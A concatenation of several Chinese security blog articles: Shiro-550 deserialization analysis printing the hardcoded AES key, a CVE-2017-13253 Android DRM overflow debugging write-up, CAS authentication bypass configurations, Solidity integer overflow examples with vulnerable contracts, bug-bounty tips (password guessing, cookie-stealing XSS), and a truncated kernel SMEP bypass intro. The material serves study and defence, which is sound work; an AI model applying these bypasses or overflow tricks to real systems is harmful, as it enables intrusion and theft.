shiro-550（shiro小于1.2.5）主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞，造成的原因是AES密钥被硬编码在shiro源码中，这就导致了可以通过在cookie的rememberMe字段插入payload实现任意代码执行。在这以后shiro使用随机密钥，而不再硬编码，这又造成padding
oracle attack导致的shiro-721。
## 0x02 动态详细分析
### 一、环境搭建
1.首先下载shiro-root-1.2.4，部署到IDEA
2.然后修改一下依赖文件
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependencies>
3.用IDEA内置tomcat部署即可
### 二、加密分析
我们进入登陆页面，输入后准备登录
在登陆前我们先在AbstractShiroFilter.class#doFilterInternal下断点，登陆时会断到这里。在第158行this.createSubject(request,
response)这里，会创建subject，并使用cookie等信息，在解密时会进行分析
我们步入executeChain(request, response,
chain)后，再单步步入doFilter、InternaldoFilter等等后，最后可以进入到AuthenticatingFilter#executeLogin，用来处理登录
再单步步入33行login函数，经过相关判断后，登陆成功，我们来到this.onSuccessfulLogin(token, info, loggedIn)
单步步入onSuccessfulLogin函数，继续步入rememberMeSuccessfulLogin函数
在获取到RememberMeManager不为空后，步入AbstractRememberMeManager#onSuccessfulLogin
我们跟进forgetIdentity函数，发现它处理了request和response请求
继续步入this.forgetIdentity(request,
response)后单步步入this.getCookie().removeFrom(request,
response)，获取了配置信息包括rememberMe字段和deleteMe字段，并用addCookieHeader()添加到cookie中
之后返回到AbstractRememberMeManager#onSuccessfulLogin。this.isRememberMe(token)检查是否选中登陆时Remember
Me选项，之后我们一直单步步入rememberIdentity
最后到达这里
第一个函数就是转为bytes，我们跟进convertPrincipalsToBytes函数后发现首先将进行序列化，之后由this.getCipherService()获取到加密服务方式不为空后，进入this.encrypt(bytes)阶段
我们单步步入encrypt函数。在其中首先获取密码服务为AES/CBC/PKCS5Padding，之后进入this.getEncryptionCipherKey()
单步步入后，最后可以发现CipherKey就是AbstractRememberMeManager.class开头的DEFAULT_CIPHER_KEY_BYTES=”kPH+bIxk5D2deZiIxcaaaA==”
获取CipherKey返回后进入cipherService.encrypt函数中，生成初始化向量ivBytes后，进入具体的加密函数，最后return
一步步return
bytes后，回到rememberIdentity函数，下面的rememberSerializedIdentity实现了记住序列化身份的功能，跟进
在rememberSerializedIdentity里面，进行base64后，将信息加入到cookie中
之后就层层返回，直到AuthenticatingFilter#executeLogin处理登录，返回成功登陆
### 三、解密分析
与加密类似，直接在AbstractShiroFilter.class#doFilterInternal下断点，然后单步到DefaultSecurityManager#createSubject
单步到resolvePrincipals函数后，继续单步到getRememberedIdentity函数，在其中获取RememberMeManager后进入rmm.getRememberedPrincipals(subjectContext)
我们分别步入其中两个函数看看
在第一个函数getRememberedSerializedIdentity中，先获取cookie中的值，然后base64解密，生成二进制数后返回
第二个函数convertBytesToPrincipals中，先获取解密服务不为空后，将二进制数据传入decrypt函数进行解密，之后return
this.deserialize(bytes)
在deserialize(bytes)中有readObject()，触发apache.commons利用链漏洞
## 0x03 小结和修复
加密时：序列化转为二进制、encrypt加密、base64加密、放入cookie
解密时：从cookie中取出、base64解密、decrypt解密、反序列化
在利用时，可以根据硬编码在源码中的key构造payload。
修复：升级到最新的shiro、过滤cookie中较长的rememberMe等。CipherKey不要泄露。
## 0x04 结语
通过这次的分析，可以详细了解到shiro反序列化的过程，加深了对利用方式的思考和记忆。除了shiro-550以外的shiro-721则主要是关于AES-128-CBC模式加密的利用，有兴趣可以继续学习。 | 社区文章 |
# 0x00 前言
跟着[1]调试CVE-2017-13253，
[1]使用的调试环境为nexus，HAL的实现没有分开，我的调试环境为pixel，HAL的实现分开了，我在这里整理成一篇文章，记录踩过的坑。
CVE-2017-13253 为Android Drm服务中的堆溢出漏洞。
# 0x01 理论
## 1 DRM
Android Drm 属于 Android Native 多媒体框架中的一部分。在播放受DRM保护的内容 如Google
Play电影中的影片时，会使用DRM服务器。该服务器会采用安全方式对加密的数据进行解密，因此可以访问证书和密钥存储以及其他敏感组件。但由于供应商依赖关系，DRM进程尚未应用于所有情况。
DRM 的架构如下图所示：
## 2 Crypto Plugins
Crypto Plugins
为DRM方案之一，在Android术语中，每个DRM方案的处理程序称为插件。供应商负责提供这些插件，但供应商可以使用AOSP中一些有用的代码。例如，AOSP包含ClearKey
DRM方案插件的完整开源实现。
java层 所涉及到的参数变量
<https://developer.android.com/reference/android/media/MediaCodec.CryptoInfo.html#numSubSamples>
Binder层的解释 这里引用原文的图
MediaDrmserver
提供了一个到Crypto对象。名字叫做ICrypto，现在改名叫CryptoHal。此接口的一般用途是允许非特权应用解密DRM数据，这需要更高的解密权限，例如访问TEE。
ICrypto里有很多种方法，毫无疑问最重要的方法是解密：
## 3 Binder's C++库
ICrypto应该是一个接口类，Binder’s
C++库里提供了许多依赖于Binder的C++代码的抽象。可以调用C++类的远程实例方法。使用此机制的每个对象在预定义的结构中实现几个类：
* 接口类，定义应该通过Binder调用的对象的方法，以“I”为前缀
* ”客户端“类，负责序列化输入和反序列化输出，以”Bp“为前缀
* ”服务器端“类，负责反序列化输入和序列化输出，以”Bn“为前缀
最终 在使用对象时，几乎总是使用接口类型。这里引用原文的图
这里相关的结构成员是mHeapSeqNum和两个mSharedMemory成员(DestinationBuffer的其余部分是在目标未存储为共享内存的情况下，与此漏洞无关的情况)。这里使用名称堆来指代实际的共享内存。
mHeapSeqNum是这样的内存的标识符，之前使用ICrypto的方法（称为setHeap）共享。两个mSharedMemory成员仅表示堆内缓冲区的偏移和大小。这意味着尽管mHeapSeqNum位于源结构中，但它实际上与两者相关。
值得注意的是，参数结构的某些部分有点奇怪。
mSharedMemory是一个IMemory，它实际上连接到自己的堆，并且应该在其中表示一个缓冲区，但是这个堆被忽略，偏移量和大小用于mHeapSeqNum堆。源结构中也存在mHeapSeqNum，但它与源和目标都有关。这是最近对此代码进行更改的结果，该代码是作为Android框架的一个名为Project
Treble的主要重新架构师的一部分而制作
## 4 源码
source.mSharedMemory 是什么含义呢 ，我猜是图里面的这个 shared
memory？仅表示堆内缓冲区的偏移和大小，实际上连接到自己的堆，应该用于表示一个缓冲区，但是这个堆被忽略，偏移量和大小用于mHeapSeqNum堆。
在ICrypto interface 的“服务端”代码，用于验证共享内存缓冲区的subsample。这段代码检查
subsample Encrypt Clear data都加起来 sum<= SIZE_MAX
subsampleSizes == totalSize
totalSize <= source.mSharedMemory->size()
Offset <= source.mSharedMemory->size() - totalSize
<http://androidxref.com/8.0.0_r4/xref/frameworks/av/drm/libmediadrm/ICrypto.cpp#370>
接着进入 decrypt，对数据流进行序列化并继续进行验证
<http://androidxref.com/8.0.0_r4/xref/hardware/interfaces/drm/1.0/default/CryptoPlugin.cpp#111>
sourceBase 指向 mSharedBuffer上的 source
'''
111 if (source.offset + offset + source.size > sourceBase->getSize()) {
112 _hidl_cb(Status::ERROR_DRM_CANNOT_HANDLE, 0, "invalid buffer size");
113 return Void();
114 }
'''
此处的本意是拷贝 的size = offset+所有的 subSamples 。
'''
uint8_t *base = static_cast<uint8_t *>(static_cast<void *>(sourceBase->getPointer()));
Const SHaredBuufer& destBuffer = destination.nonsecureMemory;
Sp<IMemory> destBase = mSharedBufferMap[destBuffer.bufferId]
验证
source.offset + offset + source.size > sourceBase->getSize()
source.offset 是source 在heap中的相对偏移
destBuffer.offset+destBuffer.size>destBase->getSize()
'''
第一处检查是offsets和buffer
size没有超出堆的size。SourceBase是堆，而source现在是source.mSharedMemory。
此处的本意是检查偏移+需要拷贝的数据是否有超出这段sharedMemory的size？？
另一处检查类似，但是是在destBuffer上执行。destBuffer 是 destination.mSharedMemory、destBase
“same heap as”sourceBase。也就是说 destBuffer 和 sourceBuffer 都在同一段SharedMemory上。
最终，每个buffer简化为一个指向内存的指针，偏移现在是指针的一部分。
最后一处代码
<http://androidxref.com/8.0.0_r4/xref/frameworks/av/drm/mediadrm/plugins/clearkey/CryptoPlugin.cpp#45>
当 满足mode == kMode_Unencrypted时，
会执行到
'''
memcpy(reinterpret_cast<uint8_t _> (dstPtr) + offset,
reinterpret_cast<const uint8_t_>(strPtr) + offset,
subSample.mNumBytesOfClearData);
'''
## 4 漏洞处
漏洞原因：没有检查 要复制的数据+目标缓冲区的位置是否超过 堆的 size，属于检查不完整。
只有一个简单的检查 源缓冲区 ，BnCrypto的第三次检查了这一点，下一处的检查 考虑了源缓冲区+offset。唯一检查和目标缓冲区有关的是
第二处的检查，但是太简单不足以阻止这种问题。 第二处的检查，确认目标缓冲区在堆内，且没有超出缓冲区的边界。
# 0x02 动态调试
动态调试[6][7][8]
在poc作者的github[9]里说到运行的结果应该是
1. 如果在2018年3月之后的Android版本 decrypt 会返回bad_value（-22）。
2. 如果没有crash（overwritten data 是可写的）decrypt return 他copy的数据的量。
3. 如果供应商将HAL实现为单独的进程?（例如Pixel 2），则解密应该返回UNKNOWN_ERROR（-32）。
4. 如果供应商在同一过程中实施HAL?（例如Nexus 5X），则解密应返回0。
HAL的实现会影响是否造成Crash。此处没有返回UNKNOWN_ERROR
本漏洞涉及三处函数，分别是
android::BnCrypto::onTransact 序列化+验证
Android::CryptoHal::decrypt 序列化+验证
Clearkeydrm::CryptoPlugin::decrypt memcpy
前面两次进入BnCrypto::onTransact函数是调用createPlugin和setHeap，第三次调用decrypt
对android::BnCrypto::onTransact 、android::CryptoHal::decrypt的调试部分可参考[1]调试。
结果如下图所示：
从反序列化种获取total值。这里能看到是0x2000
在对Clearkeydrm::CryptoPlugin::decrypt 实际调试时，供应商在实现的时候，对HAL分开实现。所以此处为多进程调试。
此处有两种方法找到binder的server端，如图所示
1.通过Android.mk or Android.bp文件 找到local_module
2.通过adb shell ps | grep 'xxxserver'
最后 找到漏洞点
# 0x03 结论与补丁
## 1
受影响的流程取决于供应商如何实现。如果供应商未将HAL分成不同的进程，则mediadrmserver受影响。如果供应商讲HAL分开，那么使用默认加密插件的Crypto插件的每个HAL服务都会收到影响。由于默认的Crypto插件代码只留下指向目标缓冲区的指针，并且大小仅由子样本确定，因此供应商代码无法告知它收到格式错误的数据。
## 2
对这个漏洞的补丁很简单，增加对要传递数据检查的完整性， dest->size()
目标缓冲区堆的size，检查目标缓冲区的偏移+要拷贝的数据是否超出目标缓冲区堆的总和。
# 0x04 参考
[1] <https://bbs.pediy.com/thread-225398.htm>
[2]<http://wangkuiwu.github.io/page2/> Android Binder机制
[3]<https://www.anquanke.com/vul/id/1124887> 漏洞简介
[4]<https://source.android.com/devices/drm> DRM，安卓版权管理框架
[5]<https://developer.android.com/reference/android/media/MediaDrm.html>
MediaDrm
[6]<https://source.android.com/setup/build/building> 编译流程
[7]<https://developers.google.com/android/drivers>
[8]<https://source.android.com/setup/start/build-numbers#source-code-tags-and-builds>
[9]<https://github.com/tamirzb/CVE-2017-13253> | 社区文章 |
cas client 用于限制匿名用户对某些特定api的访问，在一些特殊的环境下可能会有权限绕过问题。下面分享两个实际生活中遇到的案例。
## bypass trick1 ignorePattern
### 场景
/api/admin这个url是需要cas登陆才能访问的。
package today.redteam.controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class AdminController {
@RequestMapping("/api/admin")
public String admin(){
return "hello admin";
}
}
/api/guest这个是公共页面，所有人都可以看。
package today.redteam.controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class GuestController {
@RequestMapping("/api/guest")
public String guest(){
return "hello guest";
}
}
假设此程序的技术比较老旧，为了实现上面这种需求，那么开发可能会在web.xml中这么配置。
<filter>
<filter-name>CAS Authentication Filter</filter-name>
<filter-class>org.jasig.cas.client.authentication.AuthenticationFilter</filter-class>
<init-param>
<param-name>casServerUrlPrefix</param-name>
<param-value>https://battags.ad.ess.rutgers.edu:8443/cas</param-value>
</init-param>
<init-param>
<param-name>serverName</param-name>
<param-value>http://www.acme-client.com</param-value>
</init-param>
<init-param>
<param-name>ignorePattern</param-name>
<param-value>/api/guest</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>CAS Authentication Filter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
这样配置看起来似乎没有问题
### 利用
但是其实可以被花式绕过。
### 原理
原因有两点，第一org.jasig.cas.client.authentication.AuthenticationFilter，在匹配时候获取了原生url（未处理../），甚至包括`?`
后的内容。
第二，filter的匹配模式有四种，默认是按正则匹配。
同理如果配置成CONTAINS也会有类似的问题。
同理封装了这个库的三方库也会有问题，比较流行的是 **[cas-client-autoconfig-support](https://github.com/Unicon/cas-client-autoconfig-support)**
，它常与springboot集成使用，如果有如下配置也会出问题。
cas.ignorePattern=/api/guest
### 修复
所以正确的配置应该改为
<init-param>
<param-name>ignorePattern</param-name>
<param-value>^/api/guest$</param-value>
</init-param>
个人认为这个可以算洞（没处理../而且contains这种选项就不应该存在），也可以甩锅给开发没仔细看文档。
## bypass trick2 useSuffixPatternMatch
### 场景
这里假设/admin系列的路由都不允许访问。
package today.redteam.controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class AdminController {
@RequestMapping(
value = {"/admin"},
method = {RequestMethod.GET}
)
public String admin(){
return "hello admin";
}
@RequestMapping(
value = {"/admin/api"},
method = {RequestMethod.GET}
)
public String admin1(){
return "hello admin1";
}
}
这一次开发认真看了文档做了以下配置。
package today.redteam.config;
import net.unicon.cas.client.configuration.CasClientConfigurerAdapter;
import net.unicon.cas.client.configuration.EnableCasClient;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Configuration;
import today.redteam.aop.CasAspect;
@Configuration
@EnableCasClient
public class CasConfig extends CasClientConfigurerAdapter {
public CasConfig() {
}
public void configureAuthenticationFilter(FilterRegistrationBean authenticationFilter) {
super.configureAuthenticationFilter(authenticationFilter);
authenticationFilter.addUrlPatterns(new String[]{"/admin/*"});
}
static {
System.setProperty("cas.serverUrlPrefix", "https://cashost.com/cas");
System.setProperty("cas.serverLoginUrl", "https://cashost.com/cas/login");
System.setProperty("cas.clientHostUrl", "http://localhost:8888/");
System.setProperty("cas.validationType", "CAS");
}
}
/admin这个路由看起来似乎也没有什么问题。
常规的绕过方式也不起作用
### 利用
但在低版本的springboot上还是能绕过（本地环境是1.5.9.RELEASE）。
### 原理
原理是在springboot 1.x中useSuffixPatternMatch默认为true，springboot会对路由进行正则匹配。
断点下在org.springframework.web.servlet.mvc.condition.PatternsRequestCondition#getMatchingPattern。
/admin.*自然能匹配上/admin.也就绕过了。
### 修复
如下关闭setUseSuffixPatternMatch或升级到2.x
package today.redteam.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.HandlerMapping;
import org.springframework.web.servlet.config.annotation.EnableWebMvc;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
@Configuration
@ComponentScan
@EnableWebMvc
public class AppConfig {
@Bean
public HandlerMapping requestMappingHandlerMapping() {
RequestMappingHandlerMapping mapping = new RequestMappingHandlerMapping();
mapping.setUseSuffixPatternMatch(false);
return mapping;
}
} | 社区文章 |
**作者：Al1ex@七芒星实验室**
**原文链接：<https://mp.weixin.qq.com/s/dNZr8OPZVr60bSIONJbHyw>**
#### 溢出原理
计算机中整数变量有上下界，如果在算术运算中出现越界，即超出整数类型的最大表示范围，数字便会如表盘上的时针从12到1一般，由一个极大值变为一个极小值或直接归零，此类越界的情形在传统的软件程序中很常见，但是否存在安全隐患取决于程序上下文，部分溢出是良性的(如tcp序号等)，甚至是故意引入的(例如用作hash运算等)。
以太坊虚拟机(EVM)为整数指定固定大小的数据类型，这意味着一个整型变量只能有一定范围的数字表示，例如，一个uint8
，只能存储在范围[0,255]的数字，若试图存储256到一个uint8将变成0，不加注意的话，只要没有检查用户输入又执行计算，导致数字超出存储它们的数据类型允许的范围，Solidity中的变量就可以被用来组织攻击。
#### 溢出实例
##### 高卖低收(CVE-2018-11811)
类型描述：管理员通过修改合约中的参数来制造溢出漏洞，导致用户提币转出token之后，却收不到ETH(或收到极少量ETH)，造成用户经济损失。
漏洞实例：合约Internet Node Token (INT)
合约地址：<https://cn.etherscan.com/address/0x0b76544f6c413a555f309bf76260d1e02377c02a#code>
漏洞位置：L179
漏洞危害：用户提币之后，无法得到对应数额的ETH；
漏洞原理：sellPrice被修改为精心构造的大数后，可导致amount
sellPrice的结果大于整数变量(uint256)最大值，发生整数溢出，从而变为一个极小值甚至归零。该值在程序语义中是用于计算用户提币应得的ETH数量，并在L179进行了校验，但该值被溢出变为极小值之后可以逃逸L179的校验，并导致用户售出token后只能拿到少量的(甚至没有)ETH。
##### 下溢增持(CVE-2018-11687)
类型描述：管理员在特定条件下，通过调用合约中有漏洞的发币函数制造下溢，从而实现对自身账户余额的任意增加。
漏洞实例：合约Bitcoin Red（BTCR）
合约地址：<https://cn.etherscan.com/address/0x6aac8cb9861e42bf8259f5abdc6ae3ae89909e11#code>
漏洞位置：L45
漏洞危害：管理员执行了一个正常向某个地址进行发币的操作，实际已经暗中将自身账户的余额修改为了一个极大的数；
漏洞原理：distributeBTR()函数的本意是管理员给指定地址发放一定数额的token，并从自身账户减少对应的token数量。减少管理员账户余额的操作为balances[owner]
-= 2000 108 ，运算的结果将被存到balances[owner]中，是一个无符号整数类型。当管理员余额本身少于2000 *
108时，减法计算结果为负值，解释为无符号整数即一个极大值。
##### 随意铸币 (CVE-2018-11812)
类型描述：管理员调用铸币函数给某个地址增加token时，利用溢出漏洞可以突破该函数只能增加token的限制，实际减少该地址的token数量，从而实现对任一账户余额的任意篡改（增加或减少）。
漏洞实例：合约PolyAi (AI)
合约地址：<https://cn.etherscan.com/address/0x5121e348e897daef1eef23959ab290e5557cf274#code>
漏洞位置：L136
漏洞危害：管理员可以绕过合约限制，任意篡改所有地址的token余额；
漏洞原理：攻击者通过构造一个极大的mintedAmount，使得balanceOf[target] +
mintedAmount发生整数溢出，计算结果变为一个极小值。
##### 超额铸币(CVE-2018-11809)
类型描述：管理员通过构造恶意参数，可以绕过程序中规定的token发行上限，实现超额铸币。合约Playkey
(PKT)存在此类漏洞，导致合约中的铸币上限形同虚设，从而发行任意多的token。此外，我们还发现Nexxus (NXX)、Fujinto
(NTO)两个合约存在类似漏洞，这两个合约没有铸币上限限制，但同样的手段，可以溢出合约中一个用于记录已发币总量(totalSupply)的变量值，使其与市场中实际流通的总币数不一致。
漏洞实例：合约Playkey (PKT)
合约地址：<https://cn.etherscan.com/address/0x2604fa406be957e542beb89e6754fcde6815e83f#code>
漏洞位置：红色标注的行L241
漏洞危害：管理员可以篡改已发币总量(totalSupply)为任意值，并绕过合约中的铸币上限超额发行token；
漏洞原理：_value在函数调用时被设置为精心构造的极大值，使得totalSupply +
_value计算结果溢出后小于tokenLimit，从而轻易绕过L237行的铸币上限检测。
##### 超额分配(CVE-2018-11810)
类型描述：管理员通过制造溢出来绕过合约中对单地址发币的最大上限，可以对指定地址分配超额的token，使得对单地址的发布上限无效。
漏洞实例：合约LGO (LGO)
合约地址：<https://cn.etherscan.com/address/0x123ab195dd38b1b40510d467a6a359b201af056f#code>
漏洞位置：红色标注的行L286
漏洞危害：管理员绕过合约中规定的单地址发币上限，给指定地址分配超额的token；
漏洞原理：一个极大的_amount可以使得算数加法运算holdersAllocatedAmount +
_amount发生整数溢出，变为一个极小值，从而绕过L286的检测。
##### 超额购币(CVE-2018-11809）
漏洞描述：买家如果拥有足够多的ETH，可以通过发送大量token制造溢出，从而绕过ICO发币上限，达到超额购币。
漏洞实例：合约EthLend (LEND)
合约地址：<https://cn.etherscan.com/address/0x80fB784B7eD66730e8b1DBd9820aFD29931aab03#code>
漏洞位置：红色标注的行L236
漏洞危害：调用者绕过合约中规定ICO的token容量上限，获得了超额购币；
漏洞原理：一个极大的_newTokens可以使得算数加法运算totalSoldTokens +
newTokens发生整数溢出，变为一个极小值，从而绕过L236的检测。
#### 溢出调试
##### 减法溢出
案例代码如下：
pragma solidity ^0.4.22;
contract TokenExample {
address public owner;
mapping(address => uint256) public balances;
mapping(address =>mapping(address =>uint256)) public allowed;
event Transfer(address _from,address _to,uint256 _value);
modifier onlyOwner{
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
balances[owner] = 2000*10**8;
}
function distribute(address[] addresses) public onlyOwner{
for(uint i=0;i < addresses.length;i++){
balances[owner] -= 2000*10**8;
balances[addresses[i]] +=2000*10**8;
emit Transfer(owner,addresses[i],2000*10**8);
}
}
}
如上图所示，在智能合约中的distribute函数的功能是从owner账户向指定的地址列表传入代币，但是在对balance[owner]的账户做减法运算的时候，未使用SafeMath函数进行数值运算操作，而且也没有判断合约的owner是否有足够的代币，直接一个循环对owner进行减法处理，这里如果转出的代币总量大于owner账户余额，那么balance[owner]将会发生下溢，变成一个极大的值，下面在remix中演示操作一下：
###### 编译合约
###### 部署合约
###### 下溢操作
调用distribute函数传入地址数组：
["0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db"]，使用owner分别向这两个地址发送代币。
执行之前owner的余额：
执行distribute函数：
交易日志记录如下：
执行之后owner的余额：
可以从上面的结果当中看到合约的owner在执行完distribute函数之后，按理来说转账操作应该会使得合约的owner的代币减少，但是这里去不减反增了，故这里的“下溢”确实存在。
##### 加法溢出
案例： GEMCHAIN
合约地址：<https://cn.etherscan.com/address/0xfb340423dfac531b801d7586c98fe31e12a32f31#code>
如上上图所示，该智能合约中的mintToken函数用于增发代币，但是在增发代币的过程中对于加法操作没有使用SafeMath函数进行数值运算操作，而且也没有使用require对是否发生溢出进行检查，故这里存在溢出风险，如果合约的owner给target增发较多数量的mintedAmount那么将会导致溢出问题的发生。
使用remix演示如下：
###### 编译合约
###### 部署合约
###### 上溢操作
第一次铸币：
首先，我们先调用mintToken函数向地址“0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”铸币，铸币的数量为：
“0x8000000000000000000000000000000000000000000000000000000000000000”即2的255次方
交易日志：
铸币之后地址“0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”的余额为：
为了让其发生溢出，我们还需要向地址“0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”铸币，铸币的数量仍然为：“0x8000000000000000000000000000000000000000000000000000000000000000”即2的255次方，目的就是为了让2的255次方+2的255次方发生溢出，超出uint256的最大范围。下面具体看操作
第二次铸币：
交易日志：
查看余额：
从上面的结果我们可以发现确实发生了溢出！可想而知，如果合约的owner在不校验溢出问题的情况下向某一地址铸币，那么该地址如果发生溢出，那么代币数量将会发生变化，时而出现减少的情况(因为发生溢出)。
#### 特殊情况
有时候你会发现虽然我们看到一个合约当中有整型溢出的风险，例如在transfer函数中未使用require进行溢出校验，同时也没有使用SafeMath函数进行数值运算防护的情形，但是该合约当中已经规定了token的总量(totalSupply)，而且没有铸币函数(mintToken)另外增加代币，那么合约总体来说是安全的，不存在整型溢出，为什么这样说呢？因为你永远都不会发生两个数值相加超过uint256的情况，但是在这中情况下你就应该将目光放到“乘法溢出”或“减法下溢”的问题上来进行查找，审计是否真的不存在“整型溢出”问题。
#### 溢出防御
那么如何防范这种整型溢出问题呢？官方给出的建议是使用OpenZepplin提供的SafeMath函数库进行数值运算操作，使用SafeMath库函数可以有效的对溢出问题进行检查与防范，SafeMath函数库源代码如下：
<https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SignedSafeMath.sol>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title SignedSafeMath
* @dev Signed math operations that revert on error.
*/
library SignedSafeMath {
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
return a * b;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
return a / b;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
return a - b;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
return a + b;
}
}
应用了SafeMath函数的智能合约实例：
<https://etherscan.io/address/0xB8c77482e45F1F44dE1745F52C74426C631bDD52#code>
可以看到在上面的智能合约当中对于数值运算都使用了SafeMath函数进行操作，而且也使用了require对溢出校验进行防护，总体较为安全。
#### 溢出列表
<https://github.com/sec-bit/awesome-buggy-erc20-tokens/blob/59e167f74a8d7cf48eadf25a75c65e461450aea0/raw/totalsupply-overflow.txt>
<https://github.com/peckshield/vuln_disclosure/blob/7a1e99695945220f4bbc10100f72fa7ecb9e0a79/tradeTrap.csv>
[https://github.com/BlockChainsSecurity/EtherTokens/blob/6e1e0952bc2a4b213cdc6db6ba7a855d9c776242/GEMCHAIN/mint%20integer%20overflow.md](https://github.com/BlockChainsSecurity/EtherTokens/blob/6e1e0952bc2a4b213cdc6db6ba7a855d9c776242/GEMCHAIN/mint
integer overflow.md)
[https://github.com/dwfault/AirTokens/blob/aff7102887096a6c8d384820835818f445f3401f/Link_Platform__LNK_/mint%20integer%20overflow.md](https://github.com/dwfault/AirTokens/blob/aff7102887096a6c8d384820835818f445f3401f/Link_Platform__LNK_/mint
integer overflow.md)
#### 文末总结
整型溢出问题发生的根源还是在于合约的开发者在开发合约时未考虑到“整型溢出”问题，作为审计人员的我们在看到合约时也要保持清醒，对于存在疑惑的地方应该采用“调试、验证”的方法去排除疑虑，而且在审计的过程中也要十分的认真、细心才可以，不要放过任何一个有可能存在问题的地方，例如修饰器/修饰词对应的权限问题、逻辑处理问题等等。
* * * | 社区文章 |
来源：[http://mp.weixin.qq.com/s?__biz=MzAxMjk1NTExNw==&mid=2247483936&idx=1&sn=f06b6ee7932fffe2ff5aede93f1ecc2a&chksm=9ba8bea2acdf37b431655ff6b34f971694c78fbabc89cf3bb9623f169938e29ef567de9caaac#rd](http://mp.weixin.qq.com/s?__biz=MzAxMjk1NTExNw==&mid=2247483936&idx=1&sn=f06b6ee7932fffe2ff5aede93f1ecc2a&chksm=9ba8bea2acdf37b431655ff6b34f971694c78fbabc89cf3bb9623f169938e29ef567de9caaac#rd)
第一次参加众测是在某云上，那时候记得人挺多的，每次我参加项目都在周五却很不巧都有事，回头一两个小时再去看结果就被大牛们挖的七七八八了。
最近的这么些天在先知漏洞平台上参与了几期项目有高中低危的漏洞，然后也发现了一些好玩的事情，就来给大家分享点！
首先参加众测一定要这个项目没有人参加过的这是对于小白的要求，为什么？下面会有讲到，众测一定要专注单身三十年，不然你的手速能跟得上别人么？像我就已经二十多年了(虽然还没二十岁)然后你要专门去搞你擅长的挖掘点，比如说你会挖掘存储型XSS漏洞，那么你就专门去找一些可以影响用户的，可以收到cookie等等更多玩法的点。
尽量不要做到装(弹)逼(窗)目的，这样一来也不会影响用户，像这样一般的存储XSS漏洞都在中危左右，具体价格看厂商而定了~
假设你遇到厂商是*.a.com的那么这时候要运用你平常搞站的思路去扩散思维搞，这样范围也广。一般这个时候我都是去撸后台，直接字典操起来
自己收藏的字典一定要够丰富规则，这样像主站的后台别人没有你的牛逼，你直接遍历用户，密码设置个123456的，万一里面还真有用户是用这样的密码呢？其实这个密码足以了
当然了，我不建议小白们去挖SQL注入，为什么？一般情况下都是接入了waf的，你平常没有什么经验，在众测上去搞一个疑似SQL注入的点还需要绕过的时间，这多麻烦啊。多找点逻辑漏洞，善用Google、Bing、Baidu的搜索方法。
前面也讲到为什么要求这个项目你是第一个参加上的，因为别人没挖过你先挖了，吃肉的机会还是大一些的，如果捡漏就要靠90%的运气了。
在众测上千万不要把厂商的站点搞挂了，像你搞个什么sqlmap有些站点是承受不了的，你一开没搞几分钟站点就挂了！
如果a.com下有m端的子站点也可以去搞一搞，很多情况下m端的防御没有主站重视，产生的问题也会比较多些。
还有遇到像意见反馈这样的地方，先盲打(写payload进去)之后，再去挖别的点，这时候静静地等待收cookie，如果晚上打了第二天十二点之前有的话就有，没有的话可能就是没有了。
搞众测的过程当中最好在之前先收集到一些第三方组件的脚本，这样辅助验证是否存在xx远程命令执行漏洞等等，栗子有：Jenkins “Java
反序列化”过程远程命令执行漏洞、Joomla 1.5 - 3.4版本远程命令执行漏洞等等，这些一般如果存在拿到服务器的话应该都会给严重级别的！！！
还有很多时候不要搞自己知道的点，这有可能别人也知道，但你也不妨可以去提交试试，看看手速能不能比别人快。上次就是一个点，我跟另外一个小伙伴同一分钟内提交的，只不过比他快了几秒，然后漏洞就是给我确认的了~
期待下一次我的发车~~ | 社区文章 |
**作者：时钟@RainSec
原文链接：<https://mp.weixin.qq.com/s/gSTbXW6M72QYtVPoZswhyw>**
## 前言
好久没搞kernel的洞了，最近分析的这方面的洞有点多，相关的Exp任务也比较多，因此学习总结一下方便查找和记忆。
## SMEP + KPTI bypass
SMEP是SupervisorModeExecutionPrevention的缩写，主要的作用其实就是抵御类似ret2user这样的攻击，简单来说就是阻止内核执行用户态传递的代码。
检测计算机是否开启SMEP保护的方式很简单，`cat /proc/cpuinfo | grep
